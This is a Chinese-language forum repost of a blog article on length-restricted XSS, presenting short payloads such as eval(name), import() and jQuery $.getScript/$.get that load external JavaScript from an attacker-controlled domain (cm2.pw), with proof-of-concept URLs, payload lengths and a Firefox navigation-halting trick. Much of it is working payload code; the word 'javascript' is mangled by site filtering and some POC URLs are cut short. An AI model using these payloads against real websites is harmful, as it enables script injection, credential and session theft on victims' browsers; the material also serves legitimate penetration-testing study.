长度受限情况下的 XSS 攻击

iso60001  1969天前

22.png

在某些渗透测试情况下,你也许可以插入一段ja vasc ript,但是由于有字符数目的限制,所以只能进行简单的弹窗。我最近看到了一份关于HackerOne的文章,也碰到是一样情况,这就是我之所以写这篇文章的原因。那篇文章的作者设法执行了任意的ja vasc ript,但是有些复杂,并且需要少量的用户交互。这大大减弱了漏洞严重性,导致悬赏很低。

我认为,对于XSS,更有前途的POC是从您控制的域加载外部ja vasc ript。这篇文章列出了可以用尽可能少的字符加载外部ja vasc ript的方法。

假设我们的有效负载被放置在锚标记的href属性中,并且被限制为32个字符;

<a href="<INJECTION>">Click</a>
  1. eval(name)

    这可能是一个可以执行任意ja vasc ript的最短的有效负载。name属性可以被分配任何代码,并且也继承了跨域。这给了我们一个好处,使我们可以不受任何限制地执行任何payload,除非页面重写name。

    POC: https://attacker.cm2.pw/?xss=name=&quot;d=document;s=d.createElement(&#39;sc ript&#39;);s.src=&#39;//cm2.pw&#39;;d.body.appendChild(s)&quot;;open(&#39;//victim.cm2.pw/?xss=<a href="ja vasc ript:eval(name)">Click</a>&#39;,&#39;_self&#39;)

    Payload 长度:

     'ja vasc ript:eval(name)'.length==21
    
  2. import

    这是获取外部ja vasc ript的另一个最短的payload,但是只能在基于Chromium的浏览器上工作。

    POC:

    https://victim.cm2.pw/?xss=Click

    Payload 长度:

     'ja vasc ript:import(/\㎠.㎺/)'.length==24
    
  3. $.getsc ript

    这是一个非常有名的jQuery函数,用来加载外部ja vasc ript。在全局上下文中获取并执行脚本,就像sc ript标签加载的一样。但是,这要求jQuery已经在页面中加载。

    POC:

    https://victim.cm2.pw/?xss=Click

    Payload 长度:

     'ja vasc ript:$.getsc ript(/\㎠.㎺/)'.length==29
    
  4. $.get

    这是另一个jQuery函数,如果返回的Content类型设置为text/ja vasc ript,则该函数可以加载和执行外部ja vasc ript。这实际上是一个仅在jQuery 3.0.0之前能生效的漏洞。

    POC:

    https://victim.cm2.pw/?xss=Click

    Payload 长度:

     'ja vasc ript:$.get(/\㎠.㎺/)'.length==23
    
  1. 使用现有元素和/或属性

    找到由用户部分或完全控制的HTML元素和ja vasc ript属性值并不罕见。虽然这可能需要花费一些时间,但是当插入的XSS长度受限时,它可以提供巨大的帮助。例如,大多数Ajax驱使应用存储hash标识符以便于导航。

    如果页面存储hash如下;

     const hash = document.location.hash;
    

    我们可以用它来加载外部脚本;

     eval("'"+hash)
    

    POC:

    https://victim.cm2.pw/?xss=const hash=document.location.hash;Click#';d=document;s=d.createElement('sc ript');s.src='//cm2.pw';d.body.appendChild(s)

    Payload 长度:

     `ja vasc ript:eval("'"+hash)`.length==25
    

除了上面已知的技术之外,还有各种其他方式可以加载外部ja vasc ript。以下是一些我没有现成案例的说明;

-其他Library

-各种selector的使用

-使用DOM属性、以及其变种(例如,image id)

在某些情况下,Firefox在单击ja vasc ript URI时会跳转页面。为了防止这个动作,我们需要引入一个错误。因此,其中个解决办法是在每个payload的结尾添加一些类似无意义的字段

ja vasc ript:eval(name);q
// halts navigation because q is not defined

最后,值得注意的是,还可以对ja vasc ript URL使用URL编码,比如;

<a href="ja vasc ript:x='%27,alert(1)//">Click</a>
// Thanks @garethheyes

POC:

https://cm2.pw/?xss=Click

原文链接:https://blog.cm2.pw/length-restricted-xss/

最新评论

12  :  就不能好好写ja vasc **pt吗
1962天前 回复
BaCde  :  **自动过滤掉的,已经叫**修改
1960天前 回复
昵称
邮箱
提交评论